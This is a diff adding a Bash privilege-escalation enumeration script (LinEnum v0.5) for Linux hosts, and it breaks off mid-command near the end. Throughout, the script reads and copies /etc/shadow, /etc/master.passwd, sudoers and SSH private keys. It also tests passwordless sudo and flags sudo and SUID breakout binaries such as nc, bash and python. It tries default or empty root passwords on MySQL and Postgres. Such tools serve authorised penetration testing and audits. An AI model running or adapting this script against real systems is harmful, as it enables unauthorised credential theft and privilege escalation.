@@ +#!/bin/bash +#A script to enumerate local information from a Linux host +v="version 0.5 (experimental)" +#@oshearing + +#help function +usage () +{ +echo -e "\n\e[00;31m#########################################################\e[00m" +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" +echo -e "\e[00;31m#########################################################\e[00m" +echo -e "\e[00;33m# www.rebootuser.com\e[00m" +echo -e "\e[00;33m# $v\e[00m\n" +echo -e "\e[00;33m# Example: ./LinEnum.sh -k keyword -r report -e /tmp/ -t \e[00m\n" + + echo "OPTIONS:" + echo "-k Enter keyword" + echo "-e Enter export location" + echo "-t Include thorough (lengthy) tests" + echo "-r Enter report name" + echo "-h Displays this help text" + echo -e "\n" + echo "Running with no options = limited scans/no output file" + +echo -e "\e[00;31m#########################################################\e[00m" +} +while getopts "h:k:r:e:t" option; do + case "${option}" in + k) keyword=${OPTARG};; + r) report=${OPTARG}"-"`date +"%d-%m-%y"`;; + e) export=${OPTARG};; + t) thorough=1;; + h) usage; exit;; + *) usage; exit;; + esac +done + +echo -e "\n\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#\e[00m" "\e[00;33mLocal Linux Enumeration & Privilege Escalation Script\e[00m" "\e[00;31m#\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;31m#########################################################\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# www.rebootuser.com\e[00m" |tee -a $report 2>/dev/null +echo -e "\e[00;33m# $version\e[00m\n" |tee -a $report 2>/dev/null + +echo "Debug Info" |tee -a $report 2>/dev/null + +if [ "$keyword" ]; then + echo "keyword = $keyword" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$report" ]; then + echo "report name = $report" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ]; then + echo "export location = $export" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$thorough" ]; then + echo "thorough tests = enabled" |tee -a $report 2>/dev/null +else + echo "thorough tests = disabled" |tee -a $report 2>/dev/null +fi + +sleep 2 + +if [ "$export" ]; then + mkdir $export 2>/dev/null + format=$export/LinEnum-export-`date +"%d-%m-%y_%H:%M"` + mkdir $format 2>/dev/null +else + : +fi + +who=`whoami` |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33mScan started at:"; date |tee -a $report 2>/dev/null +echo -e "\e[00m\n" |tee -a $report 2>/dev/null + +echo -e "\e[00;33m### SYSTEM ##############################################\e[00m" |tee -a $report 2>/dev/null + +#basic kernel info +unameinfo=`uname -a 2>/dev/null` +if [ "$unameinfo" ]; then + echo -e "\e[00;31mKernel information:\e[00m\n$unameinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +procver=`cat /proc/version 2>/dev/null` +if [ "$procver" ]; then + echo -e "\e[00;31mKernel information (continued):\e[00m\n$procver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#search all *-release files for version info +release=`cat /etc/*-release 2>/dev/null` +if [ "$release" ]; then + echo -e "\e[00;31mSpecific release information:\e[00m\n$release" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#target hostname info +hostnamed=`hostname 2>/dev/null` +if [ "$hostnamed" ]; then + echo -e "\e[00;31mHostname:\e[00m\n$hostnamed" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### USER/GROUP ##########################################\e[00m" |tee -a $report 2>/dev/null + +#current user details +currusr=`id 2>/dev/null` +if [ "$currusr" ]; then + echo -e "\e[00;31mCurrent user/group info:\e[00m\n$currusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#last logged on user information +lastlogedonusrs=`lastlog |grep -v "Never" 2>/dev/null` +if [ "$lastlogedonusrs" ]; then + echo -e "\e[00;31mUsers that have previously logged onto the system:\e[00m\n$lastlogedonusrs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#strips out username uid and gid values from /etc/passwd +usrsinfo=`cat /etc/passwd | cut -d ":" -f 1,2,3,4 2>/dev/null` +if [ "$usrsinfo" ]; then + echo -e "\e[00;31mAll users and uid/gid info:\e[00m\n$usrsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists all id's and respective group(s) +grpinfo=`for i in $(cat /etc/passwd 2>/dev/null| cut -d":" -f1 2>/dev/null);do id $i;done 2>/dev/null` +if [ "$grpinfo" ]; then + echo -e "\e[00;31mGroup memberships:\e[00m\n$grpinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any hashes are stored in /etc/passwd (depreciated *nix storage method) +hashesinpasswd=`grep -v '^[^:]*:[x]' /etc/passwd 2>/dev/null` +if [ "$hashesinpasswd" ]; then + echo -e "\e[00;33mIt looks like we have password hashes in /etc/passwd!\e[00m\n$hashesinpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#locate custom user accounts with some 'known default' uids +readpasswd=`grep -v "^#" /etc/passwd | awk -F: '$3 == 0 || $3 == 500 || $3 == 501 || $3 == 502 || $3 == 1000 || $3 == 1001 || $3 == 1002 || $3 == 2000 || $3 == 2001 || $3 == 2002 { print }'` +if [ "$readpasswd" ]; then + echo -e "\e[00;31mSample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):\e[00m\n$readpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/passwd $format/etc-export/passwd 2>/dev/null +else + : +fi + +#checks to see if the shadow file can be read +readshadow=`cat /etc/shadow 2>/dev/null` +if [ "$readshadow" ]; then + echo -e "\e[00;33m***We can read the shadow file!\e[00m\n$readshadow" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readshadow" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/shadow $format/etc-export/shadow 2>/dev/null +else + : +fi + +#checks to see if /etc/master.passwd can be read - BSD 'shadow' variant +readmasterpasswd=`cat /etc/master.passwd 2>/dev/null` +if [ "$readmasterpasswd" ]; then + echo -e "\e[00;33m***We can read the master.passwd file!\e[00m\n$readmasterpasswd" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$readmasterpasswd" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/master.passwd $format/etc-export/master.passwd 2>/dev/null +else + : +fi + +#all root accounts (uid 0) +echo -e "\e[00;31mSuper user account(s):\e[00m" | tee -a $report 2>/dev/null; grep -v -E "^#" /etc/passwd 2>/dev/null| awk -F: '$3 == 0 { print $1}' 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#pull out vital sudoers info +sudoers=`cat /etc/sudoers 2>/dev/null | grep -v -e '^$'|grep -v "#"` +if [ "$sudoers" ]; then + echo -e "\e[00;31mSudoers configuration (condensed):\e[00m$sudoers" | tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$sudoers" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/sudoers $format/etc-export/sudoers 2>/dev/null +else + : +fi + +#can we sudo without supplying a password +sudoperms=`echo '' | sudo -S -l 2>/dev/null` +if [ "$sudoperms" ]; then + echo -e "\e[00;33mWe can sudo without supplying a password!\e[00m\n$sudoperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#known 'good' breakout binaries +sudopwnage=`echo '' | sudo -S -l 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb' | xargs -r ls -la 2>/dev/null` +if [ "$sudopwnage" ]; then + echo -e "\e[00;33m***Possible Sudo PWNAGE!\e[00m\n$sudopwnage" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if roots home directory is accessible +rthmdir=`ls -ahl /root/ 2>/dev/null` +if [ "$rthmdir" ]; then + echo -e "\e[00;33m***We can read root's home directory!\e[00m\n$rthmdir" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#displays /home directory permissions - check if any are lax +homedirperms=`ls -ahl /home/ 2>/dev/null` +if [ "$homedirperms" ]; then + echo -e "\e[00;31mAre permissions on /home directories lax:\e[00m\n$homedirperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#looks for files we can write to that don't belong to us +if [ "$thorough" = "1" ]; then + grfilesall=`find / -writable -not -user \`whoami\` -type f -not -path "/proc/*" -exec ls -al {} \; 2>/dev/null` + if [ "$grfilesall" ]; then + echo -e "\e[00;31mFiles not owned by user but writable by group:\e[00m\n$grfilesall" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi +fi + +#looks for world-reabable files within /home - depending on number of /home dirs & files, this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +wrfileshm=`find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null` + if [ "$wrfileshm" ]; then + echo -e "\e[00;31mWorld-readable files within /home:\e[00m\n$wrfileshm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$wrfileshm" ]; then + mkdir $format/wr-files/ 2>/dev/null + for i in $wrfileshm; do cp --parents $i $format/wr-files/ ; done 2>/dev/null + else + : + fi + else + : +fi + +#lists current user's home directory contents +if [ "$thorough" = "1" ]; then +homedircontents=`ls -ahl ~ 2>/dev/null` + if [ "$homedircontents" ] ; then + echo -e "\e[00;31mHome directory contents:\e[00m\n$homedircontents" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#checks for if various ssh files are accessible - this can take some time so is only 'activated' with thorough scanning switch +if [ "$thorough" = "1" ]; then +sshfiles=`find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name "authorized_hosts" -o -name "authorized_keys" 2>/dev/null |xargs -r ls` + if [ "$sshfiles" ]; then + echo -e "\e[00;31mSSH keys/host information found in the following locations:\e[00m\n$sshfiles" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$sshfiles" ]; then + mkdir $format/ssh-files/ 2>/dev/null + for i in $sshfiles; do cp --parents $i $format/ssh-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#is root permitted to login via ssh +sshrootlogin=`grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" | awk '{print $2}'` +if [ "$sshrootlogin" = "yes" ]; then + echo -e "\e[00;31mRoot is allowed to login via SSH:\e[00m" |tee -a $report 2>/dev/null; grep "PermitRootLogin " /etc/ssh/sshd_config 2>/dev/null | grep -v "#" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### ENVIRONMENTAL #######################################\e[00m" |tee -a $report 2>/dev/null + +#current path configuration +pathinfo=`echo $PATH 2>/dev/null` +if [ "$pathinfo" ]; then + echo -e "\e[00;31mPath information:\e[00m\n$pathinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lists available shells +shellinfo=`cat /etc/shells 2>/dev/null` +if [ "$shellinfo" ]; then + echo -e "\e[00;31mAvailable shells:\e[00m\n$shellinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#current umask value with both octal and symbolic output +umask=`umask -S 2>/dev/null & umask 2>/dev/null` +if [ "$umask" ]; then + echo -e "\e[00;31mCurrent umask value:\e[00m\n$umask" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#umask value as in /etc/login.defs +umaskdef=`cat /etc/login.defs 2>/dev/null |grep -i UMASK 2>/dev/null |grep -v "#" 2>/dev/null` +if [ "$umaskdef" ]; then + echo -e "\e[00;31mumask value as specified in /etc/login.defs:\e[00m\n$umaskdef" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#password policy information as stored in /etc/login.defs +logindefs=`cat /etc/login.defs 2>/dev/null | grep "PASS_MAX_DAYS\|PASS_MIN_DAYS\|PASS_WARN_AGE\|ENCRYPT_METHOD" 2>/dev/null | grep -v "#" 2>/dev/null` +if [ "$logindefs" ]; then + echo -e "\e[00;31mPassword and storage information:\e[00m\n$logindefs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$logindefs" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/login.defs $format/etc-export/login.defs 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### JOBS/TASKS ##########################################\e[00m" |tee -a $report 2>/dev/null + +#are there any cron jobs configured +cronjobs=`ls -la /etc/cron* 2>/dev/null` +if [ "$cronjobs" ]; then + echo -e "\e[00;31mCron jobs:\e[00m\n$cronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#can we manipulate these jobs in any way +cronjobwwperms=`find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;` +if [ "$cronjobwwperms" ]; then + echo -e "\e[00;33m***World-writable cron jobs and file contents:\e[00m\n$cronjobwwperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#contab contents +crontab=`cat /etc/crontab 2>/dev/null` +if [ "$crontab" ]; then + echo -e "\e[00;31mCrontab contents:\e[00m\n$crontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +crontabvar=`ls -la /var/spool/cron/crontabs 2>/dev/null` +if [ "$crontabvar" ]; then + echo -e "\e[00;31mAnything interesting in /var/spool/cron/crontabs:\e[00m\n$crontabvar" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacronjobs=`ls -la /etc/anacrontab 2>/dev/null; cat /etc/anacrontab 2>/dev/null` +if [ "$anacronjobs" ]; then + echo -e "\e[00;31mAnacron jobs and associated file permissions:\e[00m\n$anacronjobs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +anacrontab=`ls -la /var/spool/anacron 2>/dev/null` +if [ "$anacrontab" ]; then + echo -e "\e[00;31mWhen were jobs last executed (/var/spool/anacron contents):\e[00m\n$anacrontab" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#pull out account names from /etc/passwd and see if any users have associated cronjobs (priv command) +cronother=`cat /etc/passwd | cut -d ":" -f 1 | xargs -n1 crontab -l -u 2>/dev/null` +if [ "$cronother" ]; then + echo -e "\e[00;31mJobs held by all users:\e[00m\n$cronother" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### NETWORKING ##########################################\e[00m" |tee -a $report 2>/dev/null + +#nic information +nicinfo=`/sbin/ifconfig -a 2>/dev/null` +if [ "$nicinfo" ]; then + echo -e "\e[00;31mNetwork & IP info:\e[00m\n$nicinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#dns settings +nsinfo=`cat /etc/resolv.conf 2>/dev/null | grep "nameserver"` +if [ "$nsinfo" ]; then + echo -e "\e[00;31mNameserver(s):\e[00m\n$nsinfo" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#default route configuration +defroute=`route 2>/dev/null | grep default` +if [ "$defroute" ]; then + echo -e "\e[00;31mDefault route:\e[00m\n$defroute" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening TCP +tcpservs=`netstat -antp 2>/dev/null` +if [ "$tcpservs" ]; then + echo -e "\e[00;31mListening TCP:\e[00m\n$tcpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#listening UDP +udpservs=`netstat -anup 2>/dev/null` +if [ "$udpservs" ]; then + echo -e "\e[00;31mListening UDP:\e[00m\n$udpservs" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SERVICES #############################################\e[00m" |tee -a $report 2>/dev/null + +#running processes +psaux=`ps aux 2>/dev/null` +if [ "$psaux" ]; then + echo -e "\e[00;31mRunning processes:\e[00m\n$psaux" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#lookup process binary path and permissisons +procperm=`ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'` +if [ "$procperm" ]; then + echo -e "\e[00;31mProcess binaries & associated permissions (from above list):\e[00m\n$procperm" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$procperm" ]; then +procpermbase=`ps aux | awk '{print $11}'|xargs -r ls 2>/dev/null |awk '!x[$0]++'` + mkdir $format/ps-export/ 2>/dev/null + for i in $procpermbase; do cp --parents $i $format/ps-export/; done 2>/dev/null +else + : +fi + +#anything 'useful' in inetd.conf +inetdread=`cat /etc/inetd.conf 2>/dev/null` +if [ "$inetdread" ]; then + echo -e "\e[00;31mContents of /etc/inetd.conf:\e[00m\n$inetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$inetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/inetd.conf $format/etc-export/inetd.conf 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from inetd.conf & show permisisons of each +inetdbinperms=`cat /etc/inetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$inetdbinperms" ]; then + echo -e "\e[00;31mThe related inetd binary permissions:\e[00m\n$inetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +xinetdread=`cat /etc/xinetd.conf 2>/dev/null` +if [ "$xinetdread" ]; then + echo -e "\e[00;31mContents of /etc/xinetd.conf:\e[00m\n$xinetdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$xinetdread" ]; then + mkdir $format/etc-export/ 2>/dev/null + cp /etc/xinetd.conf $format/etc-export/xinetd.conf 2>/dev/null +else + : +fi + +xinetdincd=`cat /etc/xinetd.conf 2>/dev/null |grep "/etc/xinetd.d" 2>/dev/null` +if [ "$xinetdincd" ]; then + echo -e "\e[00;31m/etc/xinetd.d is included in /etc/xinetd.conf - associated binary permissions are listed below:\e[00m" ls -la /etc/xinetd.d 2>/dev/null |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#very 'rough' command to extract associated binaries from xinetd.conf & show permisisons of each +xinetdbinperms=`cat /etc/xinetd.conf 2>/dev/null | awk '{print $7}' |xargs -r ls -la 2>/dev/null` +if [ "$xinetdbinperms" ]; then + echo -e "\e[00;31mThe related xinetd binary permissions:\e[00m\n$xinetdbinperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +initdread=`ls -la /etc/init.d 2>/dev/null` +if [ "$initdread" ]; then + echo -e "\e[00;31m/etc/init.d/ binary permissions:\e[00m\n$initdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +initdperms=`find /etc/init.d/ \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$initdperms" ]; then + echo -e "\e[00;31m/etc/init.d/ files not belonging to root (uid 0):\e[00m\n$initdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +rcdread=`ls -la /etc/rc.d/init.d 2>/dev/null` +if [ "$rcdread" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d binary permissions:\e[00m\n$rcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#init.d files NOT belonging to root! +rcdperms=`find /etc/rc.d/init.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$rcdperms" ]; then + echo -e "\e[00;31m/etc/rc.d/init.d files not belonging to root (uid 0):\e[00m\n$rcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +usrrcdread=`ls -la /usr/local/etc/rc.d 2>/dev/null` +if [ "$usrrcdread" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d binary permissions:\e[00m\n$usrrcdread" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#rc.d files NOT belonging to root! +usrrcdperms=`find /usr/local/etc/rc.d \! -uid 0 -type f 2>/dev/null |xargs -r ls -la 2>/dev/null` +if [ "$usrrcdperms" ]; then + echo -e "\e[00;31m/usr/local/etc/rc.d files not belonging to root (uid 0):\e[00m\n$usrrcdperms" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### SOFTWARE #############################################\e[00m" |tee -a $report 2>/dev/null + +#sudo version - check to see if there are any known vulnerabilities with this +sudover=`sudo -V 2>/dev/null| grep "Sudo version" 2>/dev/null` +if [ "$sudover" ]; then + echo -e "\e[00;31mSudo version:\e[00m\n$sudover" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql details - if installed +mysqlver=`mysql --version 2>/dev/null` +if [ "$mysqlver" ]; then + echo -e "\e[00;31mMYSQL version:\e[00m\n$mysqlver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if root/root will get us a connection +mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` +if [ "$mysqlconnect" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service with default root/root credentials!\e[00m\n$mysqlconnect" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#mysql version details +mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` +if [ "$mysqlconnectnopass" ]; then + echo -e "\e[00;33m***We can connect to the local MYSQL service as 'root' and without a password!\e[00m\n$mysqlconnectnopass" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#postgres details - if installed +postgver=`psql -V 2>/dev/null` +if [ "$postgver" ]; then + echo -e "\e[00;31mPostgres version:\e[00m\n$postgver" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this +postcon1=`psql -U postgres template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon1" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'postgres' with no password!:\e[00m\n$postcon1" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon11=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon11" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'postgres' with no password!:\e[00m\n$postcon11" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon2=`psql -U pgsql template0 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon2" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template0' as user 'psql' with no password!:\e[00m\n$postcon2" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +postcon22=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` +if [ "$postcon22" ]; then + echo -e "\e[00;33m***We can connect to Postgres DB 'template1' as user 'psql' with no password!:\e[00m\n$postcon22" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#apache details - if installed +apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` +if [ "$apachever" ]; then + echo -e "\e[00;31mApache version:\e[00m\n$apachever" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +#what account is apache running under +apacheusr=`cat /etc/apache2/envvars 2>/dev/null |grep -i 'user\|group' |awk '{sub(/.*\export /,"")}1'` +if [ "$apacheusr" ]; then + echo -e "\e[00;31mApache user configuration:\e[00m\n$apacheusr" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null +else + : +fi + +if [ "$export" ] && [ "$apacheusr" ]; then + mkdir --parents $format/etc-export/apache2/ 2>/dev/null + cp /etc/apache2/envvars $format/etc-export/apache2/envvars 2>/dev/null +else + : +fi + +echo -e "\e[00;33m### INTERESTING FILES ####################################\e[00m" |tee -a $report 2>/dev/null + +#checks to see if various files are installed +echo -e "\e[00;31mUseful file locations:\e[00m" |tee -a $report 2>/dev/null; which nc 2>/dev/null |tee -a $report 2>/dev/null; which netcat 2>/dev/null |tee -a $report 2>/dev/null; which wget 2>/dev/null |tee -a $report 2>/dev/null; which nmap 2>/dev/null |tee -a $report 2>/dev/null; which gcc 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#limited search for installed compilers +compiler=`dpkg --list 2>/dev/null| grep compiler |grep -v decompiler 2>/dev/null && yum list installed 'gcc*' 2>/dev/null| grep gcc 2>/dev/null` +if [ "$compiler" ]; then + echo -e "\e[00;31mInstalled compilers:\e[00m\n$compiler" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : +fi + +#manual check - lists out sensitive files, can we read/modify etc. +echo -e "\e[00;31mCan we read/write sensitive files:\e[00m" |tee -a $report 2>/dev/null; ls -la /etc/passwd 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/group 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/profile 2>/dev/null; ls -la /etc/shadow 2>/dev/null |tee -a $report 2>/dev/null; ls -la /etc/master.passwd 2>/dev/null |tee -a $report 2>/dev/null +echo -e "\n" |tee -a $report 2>/dev/null + +#search for suid files - this can take some time so is only 'activated' with thorough scanning switch (as are all suid scans below) +if [ "$thorough" = "1" ]; then +findsuid=`find / -perm -4000 -type f -exec stat -c '%A %n' {} + 2>/dev/null` + if [ "$findsuid" ]; then + echo -e "\e[00;31mSUID files:\e[00m\n$findsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findsuid" ]; then + mkdir $format/suid-files/ 2>/dev/null + for i in $findsuid; do cp $i $format/suid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' suid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intsuid=`find / -perm -4000 -type f 2>/dev/null | grep -w 'nmap\|perl\|'awk'\|'find'\|'bash'\|'sh'\|'man'\|'more'\|'less'\|'vi'\|'vim'\|'nc'\|'netcat'\|python\|ruby\|lua\|irb\|pl' | xargs -r ls -la` 2>/dev/null + if [ "$intsuid" ]; then + echo -e "\e[00;33m***Possibly interesting SUID files:\e[00m\n$intsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists word-writable suid files +if [ "$thorough" = "1" ]; then +wwsuid=`find / -perm -4007 -type f 2>/dev/null` + if [ "$wwsuid" ]; then + echo -e "\e[00;31mWorld-writable SUID files:\e[00m\n$wwsuid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#lists world-writable suid files owned by root +if [ "$thorough" = "1" ]; then +wwsuidrt=`find / -uid 0 -perm -4007 -type f 2>/dev/null` + if [ "$wwsuidrt" ]; then + echo -e "\e[00;31mWorld-writable SUID files owned by root:\e[00m\n$wwsuidrt" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +#search for guid files - this can take some time so is only 'activated' with thorough scanning switch (as are all guid scans below) +if [ "$thorough" = "1" ]; then +findguid=`find / -perm -2000 -type f 2>/dev/null` + if [ "$findguid" ]; then + echo -e "\e[00;31mGUID files:\e[00m\n$findguid" |tee -a $report 2>/dev/null + echo -e "\n" |tee -a $report 2>/dev/null + else + : + fi + else + : +fi + +if [ "$thorough" = "1" ]; then + if [ "$export" ] && [ "$findguid" ]; then + mkdir $format/guid-files/ 2>/dev/null + for i in $findguid; do cp $i $format/guid-files/; done 2>/dev/null + else + : + fi + else + : +fi + +#list of 'interesting' guid files - feel free to make additions +if [ "$thorough" = "1" ]; then +intguid=`find / -perm -2000 -type f 2>/dev/null | grep -w 